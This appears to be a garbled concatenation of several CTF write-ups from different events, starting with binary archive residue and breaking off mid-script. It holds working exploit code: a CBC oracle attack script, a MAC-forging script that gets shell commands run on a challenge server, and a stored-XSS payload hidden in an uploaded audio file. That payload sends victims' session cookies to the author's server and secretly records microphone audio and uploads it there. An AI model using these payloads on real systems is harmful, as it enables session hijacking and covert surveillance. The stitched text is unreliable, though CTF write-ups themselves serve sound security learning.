%maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot ``` The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}` ## forensic ### Trashy Or Classy (sces60107 bookgin) In this forensic challenge you will get a pcap file. In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/` It's a compilicated challenge. I will try to make a long story short. This challenge can be divided into three steps. #### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx` Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync) You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx` There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr` But you need the username and password for the authentication. #### second step The username can be found in the pcap file. It's `admin` But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication) You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack. It's won't take too much time to crack the password. Finally, the password is `rainbow` #### third step Now you can login and download the `flag.caidx`. But you still cannot list `flag.castr` You may need to install `casync` Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` You can download all the chunk file in `flag.castr` now. Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png``` The flaf is right here.![](https://i.imgur.com/SSoTmJm.png) The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}` ### Tokyo (sces60107) Without the hint, this challenge is probably the most guessing challenge in this CTF. We will get a binary, but it can't be recognized by any tools. After some investigation, I got three clues from the binary. First, there is a header at the begining of this binary. And the header begin with `KC\n` Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter. Gather all the printable letter. It seems like you can reconstruct the flag from it in some order. `!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua` Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary. Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89. These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3. That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet` Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database `KC\n` is the magic signatrure of kyoto cabinet database file. According the header, we can also find out that it is a hashdatabase. After understanding the mechanism of kypto cabinet database, the end of the database is the record section. Those 3-byte-long blocks is buckets. ![](https://i.imgur.com/WcskOZg.png) So, the last question is what the key is. According to record section, we will know the key size which is 3 byte long. After several attempts, I found out the keys of the flag go from "000" to "088" It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:] temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3) t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp) flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2 indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007) flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3``` This code is not a clean code. I'm sorry about that. By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}` ## crypto ### the_early_school (shw)```pythonfrom Crypto.Util.number import * def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:] for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}` ### Iran (shw and sasdf) #### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy getcontext().prec = 1000t = Decimal(4*N).sqrt()t = int(t) for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)```
[First a disclaimer, we did not actually solve this challenge during the competition, but the servers were left running...] A server is provided: `nc 37.139.22.174 22555` It greets us with the following text:```|-------------------------------------|| Welcome to the Yunnyit crypto task! ||-------------------------------------|| Options: || [M]ixed encryption function of FLAG || [D]ecrypting cipher || [E]ncryption & decryption function || [F]LAG encrypting... || [Q]uit ||-------------------------------------|Submit a printable string X, such that sha256(X)[-6:] = 92730d``` Option `M` outputs:```def EFoF(self, suffix, prefix): assert len(FLAG) == 32 assert len(self.key) == 16 return AESCipher(self.key).encrypt(suffix + FLAG + prefix)``` and `E`:```def encrypt(self, raw): iv = Random.new().read(AES.block_size) digest = hmac.new(self.key, iv + raw, sha1).digest() cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(pad(raw + digest))) def decrypt(self, enc): enc = b64decode(enc) iv = enc[:BLOCK_SIZE] cipher = AES.new(self.key, AES.MODE_CBC, iv) plain = unpad(cipher.decrypt(enc[BLOCK_SIZE:])) raw, digest = plain[:-20], plain[-20:] if hmac.new(self.key, iv + raw, sha1).digest() == digest: return raw else: raise Exception``` A quick websearch for `AESCipher` leads us to [some code](https://gist.github.com/swinton/8409454).Hence, we can presume that```pythonpad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)unpad = lambda s : s[0:-ord(s[-1])]``` Using option `F`, we can enter a nonempty `prefix` and `suffix` and the server returns `iv + enc(iv, k, suffix + flag + prefix + hmac + padding)` [sic]. With `D`, we can let the server decrypt some ciphertext.The server responds with `What?????`, `Great job :D` or `Catch FLAG if you can :P`.We will use these outputs to construct an oracle.`What?????` is returned if the ciphertext is either not valid base64 or its length is not a multiple of 16.This is of no use to us. One might think that `Catch FLAG if you can :P` is returned if the HMAC validation fails, but that is not the case here.In fact, it seems like the given `decrypt` function is not used at all.If it were used, we could exploit the naive `unpad` function for a POODLE-like attack (I only learned about POODLE because it is mentioned in the flag...).Decryption rather seems to be done with a function like this: ```def decrypt2(self, enc): enc = b64decode(enc) iv = enc[:BLOCK_SIZE] cipher = AES.new(self.key, AES.MODE_CBC, iv) plain = cipher.decrypt(enc[BLOCK_SIZE:]) return "Great job :D" if FLAG in plain else "Catch FLAG if you can :P"``` This function is also vulnerable.But first, let us write the code to interact with the server. ```class YunnyIt: def __init__(self): self.p = remote("37.139.22.174", 22555) def proof_of_work(self): def check(target, i): s = str(i) if hashlib.sha256(s).hexdigest()[-6:] == target: return s line = self.p.readline_contains('Submit a printable string X, such that sha256') target = re.search(' = ([0-9a-f]{6})', line).group(1) s = search(target, check, 4) self.p.sendline(s) def encrypt(self, prefix, suffix): self.p.sendline('F') self.p.sendline(prefix) self.p.sendline(suffix) line = self.p.readline_startswith('Mixed encrypted FLAG =') return base64.b64decode(re.search(' = (\S+)', line).group(1)) def decrypt(self, c): c = base64.b64encode(c) self.p.sendline('D') self.p.sendlineafter('Send the cipher please:\n', c) return "Great job" in self.p.readline() y = YunnyIt()y.proof_of_work()``` The `search` function is from our little library `bruteforce` which helps parallelize such proof of work tasks: ```import multiprocessing def _search(check, target, id, proc_count, queue): res = None i = id while res is None: res = check(target, i) i += proc_count queue.put(res) def search(target, check, proc=multiprocessing.cpu_count()): q = multiprocessing.Queue() procs = [multiprocessing.Process(target=_search, args=(check, target, i, proc, q)) for i in xrange(proc)] for p in procs: p.start() res = q.get() q.close() for p in procs: p.terminate() return res``` Now, let `iv, c0, c1, c2` be the first four blocks of `y.encrypt('a', 'a')`.Notice that the plaintext for `c2` only contains the last byte of the flag, which we know is `}`.For some ciphertext `c` let `p = dec(k, c)`, i.e., its "real" plaintext (like in ECB mode).Then `y.decrypt(iv + c0 + c1 + c) == True` iff `p[0] ^ c1[0] == '}'`.Let us obtain for all bytes `b` a ciphertext `iv, c0, c1, c2` such that `c1[0] == i`. ```def find_ciphertexts(from_file=True): """for each byte b, find a valid ciphertext c with c[32] = b""" if from_file: return pickle.load(open('cs.p', 'rb')) cs = {} while len(cs) < 256: # encrypt plaintext: a | flag[0:15] || flag[15:31] || flag[31] | a | digest[0:14] || digest[14:20] | padding c = y.encrypt('a', 'a') b = ord(c[32]) cs[b] = c print len(cs) pickle.dump(cs, open('cs.p', 'wb')) return cs cs = find_ciphertexts()last_flag_byte = ord('}')``` Using our observations from the previous paragraph, we can find the first byte of the real plaintext of any ciphertext block: ```def first_byte_of_real_plaintext(c): """returns first byte of real plaintext, i.e. dec(k, c)[0]""" for i in xrange(256): c2 = cs[i][0:48] + c if y.decrypt(c2): return i ^ last_flag_byte # p[0] ^ i == last_flag_byte``` Finally, we can get the flag: ```def get_flag_byte(i): """returns flag[i]""" c = y.encrypt('a', 'a' * (16 - i % 16)) # pad s.t. a plaintext block starts with flag[i] block_index = 2 if i < 16 else 3 block = c[block_index * 16:(block_index + 1) * 16] b = first_byte_of_real_plaintext(block) return b ^ ord(c[(block_index - 1) * 16]) # xor with previous block for i in xrange(32): sys.stdout.write(chr(get_flag_byte(i)))# ASIS{M1T!g473_TH3_p0od|E_nl;2$E}```
# SSS-Par2Crypto Chall TimCTF This challenge is the seconde SSS (Shamir Secret Sharing) challenge put on timctf [BTW thanks to the organizers ^^]You can find attached here the different files provided with the task. They used a 12° degree polynomiall, means we need 13 points to get the secret! but they provided only 10 points! (Here you start thinking of some bruteforcing) In the description they say it was a personnal implementation so i digged 'sss.py' and realized that they were splitting the flag into 4 chunks, then encrypted each one alone! seems allright already! But here was the vulnerability: they used the same Lagrange Polynomial coefficients (except for the secret S obviously). What we exploit: the distance between two polynomials will be the same for all points! So knowing P(x), Q(x) and P(y) you can get Q(y)! because P(x) - Q(x) == P(y) - Q(y) Well for the chunk0 polynomial we already have the 10 given points associated with {1,2,5,6,7,11,12,14,15,16} [see 'shares.txt' file] Let p0,p1,p2,p3 the four polynomials and S0,S1,S2,S3 the four secrects associated respectively with chunk0, chunk1, chunk2 and chunk3 We know p0(1) and p1(1) and p1(4) then p0(1) - p1(1) == p0(4) - p1(4) implies p0(4) == p1(4) + (p0(1) - p1(1)) Yayyy another point for p0, still we have to gain knowledge on 2 other points. Using the same methode with other points available in the different chunks we can get p0(9) ans p0(10) => we have now 13 points I used an online website to calculate p0 and got S from p0(0) and we have the first chunk : 'timctf{d0_' Using the same methode above we can get the other chunks (cause Si == pi(0)! makes sense?) After calculating p1(0), p2(0) ans p3(0) we get our flag = 'timctf{d0_NOt_R3inV3nT_CrYpt0_Pl34sE}' AND DO NOT REINVENT CRYPTO PLZ! (unless you know what you are doing :p )
**This writeup proposes a method to craft payload in one request and get fmac. ** Please pay attention that, 1, The length of the cmd matters because padding string can be \t \r \x0b \x0c etc. Command with length of 16 is OK. 2, This writeup can be considered as a supplement to existing writeups. We build 257 16-bytes blocks in total. The 2nd and 3rd blocks are padding of the whole blocks. The 1st block can be xored with the 257th block. The 4th - 128th blocks can be xored with 132th - 256th blocks. So we have 129th - 131th blocks left, which corresponds to keys used for 1st - 3rd blocks. Thus we can break the system and get the flag. Code:```import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('macsh.chal.pwning.xxx',64791)) block = 'a' * 16print s.recv(1024)while True: cmd = raw_input() cmd_padding = cmd + '\x00' * 15 + chr(len(cmd)) cmd_padding += chr(16 - len(cmd_padding) % 16) * (16 - len(cmd_padding) % 16) block_padding = '\x00' * 14 + '\x10\x10' block_padding += '\x10' * 16 data = 'tag ' + block + block_padding for i in range(125): data = data + block data += cmd_padding for i in range(126): data = data + block s.send('aa<|>'+data+'\n') mac = s.recv(1024)[:32] print mac s.send(mac + '<|>'+ cmd +'\n') print s.recv(4096)``` Execution result:```|$|>ls ././././././.d3d002d1b2b915c0eaeb5131f47b0cba__pycache__flag.txtfmac.pymacsh.py.bashrc.bash_logout.profile|$|>cat ././flag.txt55a751e406db7dc7f22916cbaccc19a4PCTF{fmac_is_busted_use_PMAC_instead}|$|>```
# ▼▼▼idIoT: Action Web (200 pts) 38/986=3.8%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** ```Some people won't let any smart devices in their home at all. Some are cautious, do their research, and make an informed decision. This guy falls in neither category; he's a a downright idIoT. The idIoT uses this service called clipshare(https://idiot.chal.pwning.xxx/); you can find his account here(https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46) or here after you make an account. He was telling me the other day about how he has a Google Home next to his computer running at all times. He also told me that if you ask politely it will tell you the flag. However, while he'll look at anything you share, he closes it almost immediately if he doesn't seem like it'll interest him. Maybe we can look at his clips to find something to match his interests? (Flag format: PCTF{xxx} where xxx is some text composed of lower-case letters and underscores)``` --- **【Understanding of functions】**```・Account registration function・Login/logout functioon・Audio recording function with javascript・Audio playback function with javascript・Audio file upload function・Sharing audio to other users``` --- ## ▼▼Stage1(XSS)▼▼ **【Search for vulnerabilities】** When reading the problem above I was able to feel that this is an XSS problem. ```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJCookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6 ------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="title" <>1------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="description" <>2------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"Content-Type: audio/mp3 ~(mp3 file data is omitted)~------WebKitFormBoundaryplyOYuB7sEcLkkvJ--``` ↓ Next, send the following request ↓ ```GET /clip.php?id=a6f77dd1-fdb1-4461-95f5-1570c19c8acd HTTP/1.1Host: idiot.chal.pwning.xxxCookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6``` ↓ ```HTTP/1.1 200 OKDate: Sat, 05 May 2018 06:16:08 GMTServer: Apache/2.4.18 (Ubuntu)Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src 'self'; object-src 'self'; frame-src 'self'Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Length: 1100Connection: closeContent-Type: text/html; charset=UTF-8 <html><head> <link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans+Condensed" rel="stylesheet"> <link rel="stylesheet" href="css/main.css" /> <script src="js/main.js"></script></head><body> <header> <h1>Clipshare</h1> <nav> Create a clip Shares kazkiti Log out </nav> </header> <main><h2><>1</h2><h3>kazkiti</h3><audio src="uploads/upload_5aed4c274f9c28.18047791.mp3" controls autoplay class="playback"></audio><div class="box padded"> <div class="title">Description</div> <div class="content"><>2</div></div><form class="box padded" action="share.php" method="POST"> <div class="title">Share this clip</div> <select name="target"> <option disabled selected>Select a friend</option> </select> <input type="hidden" name="clip" value="a6f77dd1-fdb1-4461-95f5-1570c19c8acd" /> <input type="submit" name="submit" value="submit" /></form> </main></body></html>``` ↓ `<> 2` is not escaped! `description` paramater is `Stored XSS` vulnerable!! --- **【First, I confirm the user id that makes XSS payload browse】** https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46 ↓ `idiot1` ↓ Press [ Add friend] button to share audio --- **【Check the Content-Security-Policy header】** ```Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src 'self'; object-src 'self'; frame-src 'self'``` ↓ `script-src 'self'` ↓ Only `<script src = "(same-origin-contents)"> </ script>` is allowed --- **【Identify idiot1's browser type】** Let's browse to ` ` and identify the type of idiot1's browser ↓ ```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJCookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6 ------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="title" <>1------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="description" ------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"Content-Type: audio/mp3 ~(mp3 file data is omitted)~------WebKitFormBoundaryplyOYuB7sEcLkkvJ--``` ↓ Share it to `idiot1` ↓ I got the following User-agent header on my server ```User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3391.0 Safari/537.36``` ↓ It seems to be `Chrome`! --- **【Search for places where javascript can be uploaded】** I confirmed Audio file upload function. There are the following descriptions, and the audio file that can be uploaded is restricted. ↓ ```Upload a FileYou can upload .wav/wave, .mp3, .ogg, .webm``` ↓ I confirmed the details. ```· It is checked that the file contents are sound sources· Extension check is done· But Consistency between sound source and extension is not checked``` --- Confirm the extensions that can be CSP-bypassed in Chrome in the local environment ↓ I created `test.html` file and accessed it. ```<script src="test.wav"></script><script src="test.mp3"></script><script src="test.ogg"></script><script src="test.webm"></script><script src="test.wave"></script>``` ↓ result ![](https://raw.githubusercontent.com/kazkiti/PlaidCTF2018/master/local_check.png) ↓ Only the `wave` extension can be read from `<script src = ●●●></script>` in Chrome. --- **【Consider how to write javascript in audio file】** I looked for an audio format with no error in the form of `/ * (Audio file) * /` ↓ ```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZmCookie: PHPSESSID=baq1mp2bito9i92819i9jugm37 ------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="title" test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="description" test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="audiofile"; filename="test.wave"Content-Type: audio/mp3 alert(1);/*(mp3 file)*/``` ↓ upload OK. As a result of checking one by one, it turned out that `mp3` is simple. --- **【Confirm whether cookie can be acquired with javascript】**```POST /login.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: application/x-www-form-urlencoded username=kazkiti&password=password&submit=submit```↓ Set-Cookie: PHPSESSID=jfocois0t1ilobr3anv5cjvju7; path=/ ↓ There is no `httponly` attribute It is possible to get cookies with javascript --- **【Get cookie of idiot1】** ```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZmCookie: PHPSESSID=baq1mp2bito9i92819i9jugm37 ------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="title" test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="description" <script src="●●●●.wave"></script>------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="audiofile"; filename="test.wave"Content-Type: audio/mp3 (new Image).src='https://【my_server】?'+document.cookie;/*(mp3 file)*/``` ↓ Share idiot1 and got the following ```GET /17lytyo1?PHPSESSID=2p1d1495hbkpflbj2ctoe4e091User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3391.0 Safari/537.36``` ↓ Logged in as `PHPSESSID = 2p1d1495hbkpflbj2ctoe4e091`. --- ## ▼▼Stage2(CSRF)▼▼ There are 2 Audio. To summarize them ...```・There is Google Home near his PC・When asking `OK! Google! what is a flag?` on Google Home, it tells flag・If I put `spatulate` in `discription paramater` when I send voice, Google Home will listen to the voice``` --- I thought that I could get a flag if I did the following ```・Upload the 'OK! Google! What is flag?' voice and tell Google Home・Record the flag that Google Home tells me・Send audio file to my server``` ↓ I created the following exploit with reference to `js/ main.js` ↓ ```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZmCookie: PHPSESSID=baq1mp2bito9i92819i9jugm37 ------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="title" test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="description" spatulate<script src="/uploads/upload_5aef1d1e024e06.39902088.wave"></script><form action="create.php" method="post" enctype="multipart/form-data" id="upload-form"> <input type="text" name="title" id="title-input" value="flag"/> <textarea type="text" name="description" id="description-input">flag</textarea> <label for="audiofile" class="file-label">Upload a file</label> <input type="file" name="audiofile" id="audiofile" accept="audio/*" /> <button type="button" id="audio-record">Record</button> <audio id="record-playback" controls></audio> <button type="submit" name="submit" id="up_exe" value="submit">submit</button></form>------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="audiofile"; filename="test.wave"Content-Type: audio/mp3 window.onload = () => { //(new Image).src = 'https://【my_server】?read_1'; document.querySelectorAll("input[type='file']").forEach((input) => { input.addEventListener("change", (e) => { document.querySelector(`label[for="${input.id}"]`).innerText = e.target.value.split("\\").pop(); }); }); let recordButton = document.getElementById("audio-record"); let recordPlayback = document.getElementById("record-playback"); let uploadForm = document.getElementById("upload-form"); let mediaRecorder; let mediaType = !("MediaRecorder" in window) ? undefined : MediaRecorder.isTypeSupported("audio/ogg") ? "audio/ogg" : MediaRecorder.isTypeSupported("audio/webm") ? "audio/webm" : undefined; let mediaBlob; if (recordButton) { recordButton.addEventListener("click", (e) => { e.preventDefault(); //console.log("mediaType="+mediaType);//--------1 //(new Image).src = 'https://【my_server】?record_2'; if (!mediaType) { console.log("mediaType:None"); return; } //console.log("mediaRecorder="+mediaRecorder);//--------2 //(new Image).src = 'https://【my_server】?record_3'; if (mediaRecorder) { //console.log("stop:1"); mediaRecorder.stop(); mediaRecorder = undefined; recordButton.innerText = "Record"; } else { //console.log("Record");//--------3 //(new Image).src = 'https:/【my_server】?record_4'; recordButton.innerText = "Stop"; navigator.mediaDevices.getUserMedia({ audio: true }).then((stream) => { //console.log("navigator");//--------4 //(new Image).src = 'https://【my_server】?navigator_5'; mediaRecorder = new MediaRecorder(stream, { mimeType: mediaType }); mediaRecorder.start(); //console.log("chunk");//--------5 //(new Image).src = 'https://【my_server】?chunk_6'; let chunks = []; mediaRecorder.addEventListener("dataavailable", (e) => { //console.log("push"); chunks.push(e.data); }); mediaRecorder.addEventListener("stop", () => { //console.log("stop"); //(new Image).src = 'https://【my_server】?stop_7'; mediaBlob = new Blob(chunks); recordPlayback.src = URL.createObjectURL(mediaBlob); //console.log(mediaBlob); document.getElementById("up_exe").click(); }) }); } }); } if (uploadForm) { //console.log("upload-start"); //(new Image).src = 'https://【my_server】?upload-start_8'; uploadForm.addEventListener("submit", (e) => { //alert("uploadForm_addEventListener"); e.preventDefault(); let formData = new FormData(uploadForm); //console.log(mediaBlob); //alert(mediaBlob); if (mediaBlob) { //alert("mediaBlob-OK"); formData.append("audiofile", mediaBlob, "audio." + mediaType.split("/")[1]); } //let f = fetch("create.php", { let f = fetch("https://【my_server】/10_upload/upload.php", { method: "POST", mode: 'cors', body: formData, credentials: "same-origin" }); }); } recordButton.click(); //console.log("timer_start");//timer //(new Image).src = 'https://【my_server】?timer_start_9'; setTimeout(function(){recordButton.click();},20000);}/*(mp3 file)*/------WebKitFormBoundaryVS0mrwAmBPnIkuZm--``` ↓ Audio file uploaded to my server. listen to the audio file. ↓ `pctf{not_so_smart}`
We are presented with a big zip file of SML code, which implements an interpreter for a small ML-like language with a form of taint analysis in its type checker, called Wolf. Concretely, every type in Wolf’s type system has an associated secrecy: it is either “private” or “public”, and in theory, the type system makes it impossible to do any computation on private data to get a public result. In doggo (the sequel to pupper), if statements are properly analyzed and the taint analysis is extended to also include the purity of expressions and functions. However, doggo's clever way of keeping track of the purity of functions interacts poorly with coercion, allowing us to perform side effects where we shouldn't be able to and exfiltrate bits of the flag. https://blog.vero.site/post/doggo
# HITB-XCTF GSEC CTF 2018 Quals **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180411-hitbxctfqual/) of this writeup.** - [HITB-XCTF GSEC CTF 2018 Quals](#hitb-xctf-gsec-ctf-2018-quals) - [rev](#rev) - [hacku (sces60107)](#hacku-sces60107) - [sdsun (sces60107 sasdf)](#sdsun-sces60107-sasdf) - [hex (sasdf)](#hex-sasdf) - [First try](#first-try) - [Second try](#second-try) - [misc](#misc) - [tpyx (sces60107)](#tpyx-sces60107) - [readfile (sces60107)](#readfile-sces60107) - [pix (sces60107)](#pix-sces60107) - [pwn](#pwn) - [once (kevin47)](#once-kevin47) - [Vulnerability](#vulnerability) - [Exploit](#exploit) - [gundam (kevin47)](#gundam-kevin47) - [Overview](#overview) - [Vulnerability](#vulnerability-1) - [Leak](#leak) - [Exploit](#exploit-1) - [d (kevin47)](#d-kevin47) - [Overview](#overview-1) - [Vulnerability](#vulnerability-2) - [Exploit](#exploit-2) - [babypwn (how2hack)](#babypwn-how2hack) - [Vulnerability](#vulnerability-3) - [Solution](#solution) - [Exploit](#exploit-3) - [web](#web) - [Upload (bookgin)](#upload-bookgin) - [Find the target](#find-the-target) - [Brute force the path and RCE](#brute-force-the-path-and-rce) - [Python's revenge (sasdf)](#pythons-revenge-sasdf) - [Payload](#payload) - [PHP lover (bookgin & sces60107)](#php-lover-bookgin--sces60107) - [Possible SQL injection](#possible-sql-injection) - [Bypass WAFs](#bypass-wafs) - [Email format regex check](#email-format-regex-check) - [Hacker Filter](#hacker-filter) - [Get the flag](#get-the-flag) - [baby baby (bookgin)](#baby-baby-bookgin) - [Recon](#recon) - [RCE](#rce) - [baby nya (bookgin)](#baby-nya-bookgin) - [Exposed Jserv protocol](#exposed-jserv-protocol) - [Exploit the jolokia](#exploit-the-jolokia) - [baby fs (unsolved, written by bookgin, thanks to the organizer QQ group)](#baby-fs-unsolved-written-by-bookgin-thanks-to-the-organizer-qq-group) - [3pigs (unsolved, written by how2hack)](#3pigs-unsolved-written-by-how2hack) - [Hint](#hint) - [Web Challenge? WutFace](#web-challenge-wutface) - [First stage (Misc)](#first-stage-misc) - [Python Format String Vulnerability](#python-format-string-vulnerability) - [Second stage (Pwn)](#second-stage-pwn) - [Vulnerability](#vulnerability-4) - [Solution...?](#solution-1) - [crypto](#crypto) - [easy_block (sasdf)](#easy_block-sasdf) - [Vulnerability](#vulnerability-5) - [Construct payload](#construct-payload) - [Construct hash](#construct-hash) - [easy_pub (sasdf)](#easy_pub-sasdf) - [streamgamex (sasdf)](#streamgamex-sasdf) - [base (how2hack)](#base-how2hack) - [mobile](#mobile) - [kivy simple (sces60107)](#kivy-simple-sces60107) - [multicheck (sasdf)](#multicheck-sasdf) ## rev ### hacku (sces60107) In this challenge give us two file. A pcap file and a chm file. The chm file is useless. The pcap file has a large size, because it is downloading windows update file. After some digging, I found the dns query is interesting. we can extract some base64 string. And I found a script after base64 decoding.```ps1=$GET_FILE = 'get-fle' $DOWN_EXEC = 'dow-exe'$RUN_CMD = 'run-cmd' $GET_REG = 'get-reg'$GET_TASK = 'get-tak'$GET_UPDATE = 'get-upd'$GET_REP = 'get-rep' $STATUS_INIT = 0x0000$STATUS_REGED = 0x8000$STATUS_TASK = $STATUS_REGED -bor 0x1$STATUS_PADD = $STATUS_REGED -bor 0x2 $url = 'http://192.168.99.234/cc/cc.php'$status = 